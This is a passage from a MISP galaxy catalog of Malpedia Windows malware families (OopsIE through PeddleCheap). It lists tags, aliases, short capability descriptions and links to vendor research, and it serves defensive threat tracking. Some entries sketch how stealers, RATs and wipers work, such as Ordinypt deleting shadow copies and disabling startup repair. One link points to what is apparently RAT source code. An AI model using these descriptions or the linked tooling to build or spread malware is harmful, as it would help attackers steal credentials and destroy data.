OopsIE is also known as:

Table 4677. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oopsie
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.hcd1wvpsrgfr
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/

https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/

Opachki

The tag is: *misp-galaxy:malpedia="Opachki"*

Opachki is also known as:

Table 4678. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opachki
http://contagiodump.blogspot.com/2009/11/win32opachkia-trojan-that-removes-zeus.html
https://forum.malekal.com/viewtopic.php?t=21806
https://isc.sans.edu/diary/Opachki%2C+from+%28and+to%29+Russia+with+love/7519
http://contagiodump.blogspot.com/2010/03/march-2010-opachki-trojan-update-and.html

OpcJacker

The tag is: *misp-galaxy:malpedia="OpcJacker"*

OpcJacker is also known as:

Table 4679. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opcjacker
https://www.trendmicro.com/en_us/research/23/c/new-opcjacker-malware-distributed-via-fake-vpn-malvertising.html

OpenSUpdater

The tag is: *misp-galaxy:malpedia="OpenSUpdater"*

OpenSUpdater is also known as:

Table 4680. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opensupdater
https://blog.google/threat-analysis-group/financially-motivated-actor-breaks-certificate-parsing-avoid-detection/

OpenCarrot

The tag is: *misp-galaxy:malpedia="OpenCarrot"*

OpenCarrot is also known as:

Table 4681. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot
https://www.sentinelone.com/labs/comrades-in-arms-north-korea-compromises-sanctioned-russian-missile-engineering-company/

OpGhoul

This entry serves as a placeholder of malware observed during Operation Ghoul. The samples will likely be assigned to their respective families. Some families involved and identified were Alina POS (Katrina variant) and TreasureHunter POS.

The tag is: *misp-galaxy:malpedia="OpGhoul"*

OpGhoul is also known as:

Table 4682. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.opghoul
https://securelist.com/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/75718/
https://securelist.com/blog/research/75718/operation-ghoul-targeted-attacks-on-industrial-and-engineering-organizations/

OpBlockBuster

The tag is: *misp-galaxy:malpedia="OpBlockBuster"*

OpBlockBuster is also known as:

Table 4683. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster
http://researchcenter.paloaltonetworks.com/2017/04/unit42-the-blockbuster-sequel/

ORANGEADE

FireEye details ORANGEADE as a dropper for the CREAMSICLE malware.

The tag is: *misp-galaxy:malpedia="ORANGEADE"*

ORANGEADE is also known as:

Table 4684. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

OrcaRAT

OrcaRAT is a Backdoor that targets the Windows platform. It has been reported that a variant of this malware has been used in a targeted attack. It contacts a remote server, sending system information. Moreover, it receives control commands to execute shell commands, and download/upload a file, among other actions.

The tag is: *misp-galaxy:malpedia="OrcaRAT"*

OrcaRAT is also known as:

Table 4685. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat
http://pwc.blogs.com/cyber_security_updates/2014/10/orcarat-a-whale-of-a-tale.html
https://www.secureworks.com/research/threat-profiles/bronze-fleetwood

Orchard

A malware generating DGA domains seeded by the Bitcoin Genesis Block. This family has strong code overlap with win.victorygate.

The tag is: *misp-galaxy:malpedia="Orchard"*

Orchard is also known as:

- Antavmu

Table 4686. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orchard
https://malverse.it/stack-string-decryptor-con-ghidra-emulator-orchard

https://blog.netlab.360.com/orchard-dga/
https://blog.netlab.360.com/a-new-botnet-orchard-generates-dga-domains-with-bitcoin-transaction-information/
https://bin.re/blog/a-dga-seeded-by-the-bitcoin-genesis-block/

Orcus RAT

Orcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.

The tag is: *misp-galaxy:malpedia="Orcus RAT"*

Orcus RAT is also known as:

- Schnorchel

Table 4687. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat
http://researchcenter.paloaltonetworks.com/2016/08/unit42-orcus-birth-of-an-unusual-plugin-builder-rat/
https://krebsonsecurity.com/2016/07/canadian-man-is-author-of-popular-orcus-rat/
https://any.run/cybersecurity-blog/orcus-rat-malware-analysis/
https://blog.checkpoint.com/2019/02/27/protecting-against-winrar-vulnerabilities/
https://krebsonsecurity.com/2019/04/canadian-police-raid-orcus-rat-author/
https://asec.ahnlab.com/en/45462/
https://blog.fortinet.com/2017/12/07/a-peculiar-case-of-orcus-rat-targeting-bitcoin-investors
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html
https://www.canada.ca/en/radio-television-telecommunications/news/2019/03/crtc-and-rcmp-national-division-execute-warrants-in-malware-investigation.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://assets.virustotal.com/reports/2021trends.pdf

Ordinypt

This malware claims to be a ransomware, but it's actually a wiper. After execution, this malware terminates a number of processes such as database processes, likely to allow access to any files that these programs may have held open. Ordinypt will avoid wiping certain files and folders in order to prevent the infected machine from becoming unusable. Affected files are overwritten with null character and receive a random 5 character file extension. Finally, shadow copies are removed and Windows startup repair is disabled to complicate recovery of data from the affected system. The desktop background is changed and a ransom note is dropped for the victim. A C2 check-in occurs to keep track of the file extension used on that specific machine, as well as which BitCoin address was randomly provided for payment to the victim (drawn from a long list stored in the ransomware configuration).

The tag is: *misp-galaxy:malpedia="Ordinypt"*

Ordinypt is also known as:

- GermanWiper
- HSDFSDCrypt

Table 4688. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ordinypt
https://www.carbonblack.com/2019/09/05/cb-threat-analysis-unit-technical-breakdown-germanwiper-ransomware/
https://www.bleepingcomputer.com/news/security/ordinypt-ransomware-intentionally-destroys-files-currently-targeting-germany/
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.gdata.de/blog/2017/11/30151-ordinypt
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://dissectingmalwa.re/tfw-ransomware-is-only-your-side-hustle.html

OriginBot

OriginBot is a modular information stealer which can also download and execute other malicious payloads.

The tag is: *misp-galaxy:malpedia="OriginBot"*

OriginBot is also known as:

- OriginBotnet
- OriginLoader

Table 4689. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.originbot
https://www.fortinet.com/blog/threat-research/originbotnet-spreads-via-malicious-word-document

OriginLogger

The tag is: *misp-galaxy:malpedia="OriginLogger"*

OriginLogger is also known as:

Table 4690. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.originlogger
http://ropgadget.com/posts/originlogger.html
https://unit42.paloaltonetworks.com/originlogger/
https://www.bitsight.com/blog/data-insights-agenttesla-and-originlogger-victims

ORPCBackdoor

The tag is: *misp-galaxy:malpedia="ORPCBackdoor"*

ORPCBackdoor is also known as:

Table 4691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor
https://medium.com/@knownsec404team/apt-k-47-organization-launches-espionage-attacks-using-a-new-trojan-tool-5e7eccfdce2f
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://paper.seebug.org/3117/
https://medium.com/@knownsec404team/apt-k-47-mysterious-elephant-a-new-apt-organization-in-south-asia-5c66f954477

Oski Stealer

Oski is a stealer written in C++ that appeared around November 2019 and is being sold for between 70$ to 100$ on Russian-speaking forums. It collects different types of data (cryptocurrency wallets, saved passwords, files matching an attacker-defined pattern etc) and it exfiltrates it in a zip file uploaded to the attacker's panel.

The tag is: *misp-galaxy:malpedia="Oski Stealer"*

Oski Stealer is also known as:

Table 4692. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oski
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://3xp0rt.com/posts/mars-stealer
https://drive.google.com/file/d/1c72YIF6JYcEvbFZCrkZO26D9hC3gnyMP/view
https://www.cyberark.com/resources/threat-research-blog/meet-oski-stealer-an-in-depth-analysis-of-the-popular-credential-stealer
https://labs.bitdefender.com/2020/03/new-router-dns-hijacking-attacks-abuse-bitbucket-to-host-infostealer/
https://drive.google.com/file/d/11AusNbBqFb0eoUADOPyltSWHU7Z2XHEP/view
https://twitter.com/albertzsigovits/status/1160874557454131200
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468
https://cyberint.com/blog/research/mars-stealer/
https://medium.com/shallvhack/oski-stealer-a-credential-theft-malware-b9bba5164601
https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/

Osno

The tag is: *misp-galaxy:malpedia="Osno"*

Osno is also known as:

- Babax

Table 4693. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.osno
https://labs.k7computing.com/?p=21562
https://www.gdatasoftware.com/blog/2020/11/36459-babax-stealer-rebrands-to-osno-installs-rootkit

Ousaban

The tag is: *misp-galaxy:malpedia="Ousaban"*

Ousaban is also known as:

Table 4694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ousaban
https://www.atomicmatryoshka.com/post/ousaban-msi-installer-analysis
https://www.netskope.com/blog/ousaban-latam-banking-malware-abusing-cloud-services
https://www.welivesecurity.com/2021/05/05/ousaban-private-photo-collection-hidden-cabinet/

OutCrypt

Ransomware.

The tag is: *misp-galaxy:malpedia="OutCrypt"*

OutCrypt is also known as:

Table 4695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outcrypt
https://id-ransomware.blogspot.com/2020/07/outcrypt-ransomware.html

Outlook Backdoor

The tag is: *misp-galaxy:malpedia="Outlook Backdoor"*

Outlook Backdoor is also known as:

- FACADE

Table 4696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outlook_backdoor
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://twitter.com/VK_Intel/status/1085820673811992576
https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

OutSteel

According to MITRE, OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Ember Bear since at least March 2021.

The tag is: *misp-galaxy:malpedia="OutSteel"*

OutSteel is also known as:

Table 4697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.outsteel
https://www.telsy.com/download/6372/?uid=d3eb8e1489

Overlay RAT

The tag is: *misp-galaxy:malpedia="Overlay RAT"*

Overlay RAT is also known as:

Table 4698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.overlay_rat
https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking
https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/

OvidiyStealer

The tag is: *misp-galaxy:malpedia="OvidiyStealer"*

OvidiyStealer is also known as:

Table 4699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer
https://www.proofpoint.com/us/threat-insight/post/meet-ovidiy-stealer-bringing-credential-theft-masses

owaauth

The tag is: *misp-galaxy:malpedia="owaauth"*

owaauth is also known as:

- luckyowa

Table 4700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth
https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/
https://www.secureworks.com/research/threat-profiles/bronze-union

Owlproxy

The tag is: *misp-galaxy:malpedia="Owlproxy"*

Owlproxy is also known as:

Table 4701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf
https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/
https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20
https://securelist.com/the-sessionmanager-iis-backdoor/106868/

Owowa

Kaspersky describes this as a OWA add-on that has credential stealing capabilities.

The tag is: *misp-galaxy:malpedia="Owowa"*

Owowa is also known as:

Table 4702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.owowa
https://securelist.com/owowa-credential-stealer-and-remote-access/105219/
https://securelist.com/goffee-apt-new-attacks/116139/

OxtaRAT

The tag is: *misp-galaxy:malpedia="OxtaRAT"*

OxtaRAT is also known as:

Table 4703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.oxtarat
https://research.checkpoint.com/2023/operation-silent-watch-desktop-surveillance-in-azerbaijan-and-armenia/

OZH RAT

The tag is: *misp-galaxy:malpedia="OZH RAT"*

OZH RAT is also known as:

Table 4704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ozh_rat
https://twitter.com/BushidoToken/status/1266075992679948289

Ozone RAT

The tag is: *misp-galaxy:malpedia="Ozone RAT"*

Ozone RAT is also known as:

Table 4705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ozone
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://www.fortinet.com/blog/threat-research/german-speakers-targeted-by-spam-leading-to-ozone-rat.html
https://habr.com/ru/companies/f_a_c_c_t/news/873762/

PadCrypt

The tag is: *misp-galaxy:malpedia="PadCrypt"*

PadCrypt is also known as:

Table 4706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt
https://johannesbader.ch/2016/03/the-dga-of-padcrypt/
https://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst

paladin

Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.

The tag is: *misp-galaxy:malpedia="paladin"*

paladin is also known as:

Table 4707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
https://bitbucket.org/cybertools/whitepapers/downloads/Pitty%20Tiger%20Final%20Report.pdf

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.

Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: *misp-galaxy:malpedia="PandaBanker"*

PandaBanker is also known as:

- ZeusPanda

Table 4708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker
https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media

https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.youtube.com/watch?v=J7VOfAJvxEY
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/
https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf
https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/
https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html
https://www.spamhaus.org/news/article/771/
https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker
http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html

Panda Stealer

According to PCrisk, Panda is the name of a malicious program, which is classified as a stealer. It is a new variant of CollectorStealer.

The aim of this malware is to extract and exfiltrate sensitive and personal information from infected devices. Panda primarily targets data relating to cryptocurrency wallets.

This piece of malicious software has been observed being actively distributed via spam campaigns - large-scale operations during which thousands of scam emails are sent. The spam mail proliferating Panda stealer heavily targeted users from the United States, Germany, Japan, and Australia.

The deceptive email letters concerned business-related topics (e.g., fake product quote requests, etc.). Panda stealer is a dangerous program, and as such - its infections must be removed immediately upon detection.

The tag is: *misp-galaxy:malpedia="Panda Stealer"*

Panda Stealer is also known as:

Table 4709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer

https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/

Pandora

Pandora ransomware was obtained by vx-underground at 2022-03-14.

The tag is: *misp-galaxy:malpedia="Pandora"*

Pandora is also known as:

Table 4710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora
https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/
https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/
https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques
https://dissectingmalwa.re/blog/pandora/

Pandora RAT

The tag is: *misp-galaxy:malpedia="Pandora RAT"*

Pandora RAT is also known as:

- Pandora hVNC RAT

Table 4711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat

https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx

Pantegana

A multi-platform RAT written in Go.

The tag is: *misp-galaxy:malpedia="Pantegana"*

Pantegana is also known as:

Table 4712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pantegana
https://go.recordedfuture.com/hubfs/reports/cta-2024-0716.pdf
https://thehackernews.com/2025/09/chinese-hackers-rednovember-target.html

Paradies Clipper

The tag is: *misp-galaxy:malpedia="Paradies Clipper"*

Paradies Clipper is also known as:

Table 4713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper
https://www.youtube.com/watch?v=wjoH9jW2EPQ
https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/

Paradise

Ransomware.

The tag is: *misp-galaxy:malpedia="Paradise"*

Paradise is also known as:

Table 4714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise

https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html
https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/
https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again
https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/
https://asec.ahnlab.com/en/47590/
https://mssplab.github.io/threat-hunting/2023/06/23/src-paradise.html
https://www.trendmicro.com/en_us/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html

Parallax RAT

Parallax is a Remote Access Trojan used by attackers to gain access to a victim's machine. It was involved in one of the many infamous "coronamalware" campaigns. Basically, the attackers abused the COVID-19 pandemic news to lure victims into opening themed emails spreading parallax.

The tag is: *misp-galaxy:malpedia="Parallax RAT"*

Parallax RAT is also known as:

- ParallaxRAT

Table 4715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax
https://twitter.com/malwrhunterteam/status/1227196799997431809
https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html
https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration
https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html
https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/
https://threatpost.com/ta2541-apt-rats-aviation/178422/
https://blog.morphisec.com/parallax-rat-active-status
https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/

parasite_http

The tag is: *misp-galaxy:malpedia="parasite_http"*

parasite_http is also known as:

Table 4716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks

Parite

According to Microsoft, Parite is a family of polymorphic file infectors that targets computers running Microsoft Windows. The virus infects .exe and .scr executable files on the local file system and on writeable network shares. In turn, the infected executable files perform operations that cause other .exe and .scr files to become infected.

The tag is: *misp-galaxy:malpedia="Parite"*

Parite is also known as:

Table 4717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.parite
https://teamt5.org/tw/posts/how-to-detect-and-recover-from-virus-win32-parite/

PartyTicket

PartyTicket is a Go-written ransomware, which was described as a poorly designed one by Zscaler. According to Brett Stone-Gross this malware is likely intended to be a diversion from the Hermetic wiper (aka. KillDisk.NCV, DriveSlayer) attack.

The tag is: *misp-galaxy:malpedia="PartyTicket"*

PartyTicket is also known as:

- Elections GoRansom
- HermeticRansom
- SonicVote

Table 4718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket

https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf

https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd

https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/

https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/

https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html

https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/

https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/

https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware

https://www.brighttalk.com/webcast/15591/534324

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/

https://www.youtube.com/watch?v=mrTdSdMMgnk

https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

https://securelist.com/new-ransomware-trends-in-2022/106457/

https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview

https://www.mandiant.com/resources/information-operations-surrounding-ukraine

https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf

https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/

https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/

https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation
https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/

Passlock

Ransomware.

The tag is: *misp-galaxy:malpedia="Passlock"*

Passlock is also known as:

Table 4719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.passlock
https://id-ransomware.blogspot.com

PATHLOADER

The tag is: *misp-galaxy:malpedia="PATHLOADER"*

PATHLOADER is also known as:

Table 4720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pathloader
https://www.elastic.co/security-labs/finaldraft
https://www.elastic.co/security-labs/fragile-web-ref7707

PathWiper

According to Cisco Talos, this wiper replaces the contents of artifacts related to the file system with random data generated on the fly. It identifies connected storage media, creates one thread per drive and volume for every path recorded and overwrites artifacts with randomly generated bytes. The wiper also reads multiple file systems attributes from NTFS and overwrites them as well. PathWiper additionally destroys files on disk by overwriting them with randomized bytes.

The tag is: *misp-galaxy:malpedia="PathWiper"*

PathWiper is also known as:

Table 4721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pathwiper

https://blog.talosintelligence.com/pathwiper-targets-ukraine/

Pay2Key

The tag is: *misp-galaxy:malpedia="Pay2Key"*

Pay2Key is also known as:

- Cobalt

Table 4722. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://research.checkpoint.com/2020/ransomware-alert-pay2key/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf
https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/
https://twitter.com/TrendMicroRSRCH/status/1389422784808378370

PayloadBIN

The tag is: *misp-galaxy:malpedia="PayloadBIN"*

PayloadBIN is also known as:

Table 4723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/

PcShare

PcShare is a open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.

The tag is: *misp-galaxy:malpedia="PcShare"*

PcShare is also known as:

Table 4724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html

PEBBLEDASH

The tag is: *misp-galaxy:malpedia="PEBBLEDASH"*

PEBBLEDASH is also known as:

Table 4725. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash
https://blog.reversinglabs.com/blog/hidden-cobra
https://asec.ahnlab.com/en/87621/
https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1
https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2024-02-19-joint-cyber-security-advisory-englisch.pdf?blob=publicationFile&v=2
https://asec.ahnlab.com/en/30532/
https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf
https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/
https://asec.ahnlab.com/en/59590/
https://asec.ahnlab.com/en/30022/
https://www.us-cert.gov/ncas/analysis-reports/ar20-133c

PeddleCheap

PeddleCheap is a module of the DanderSpritz framework which surface with the "Lost in Translation" release of TheShadowBrokers leaks. In May 2020, ESET mentioned that they found mysterious samples of PeddleCheap packed with a custom packer so far exclusively attributed to Winnti.

The tag is: *misp-galaxy:malpedia="PeddleCheap"*

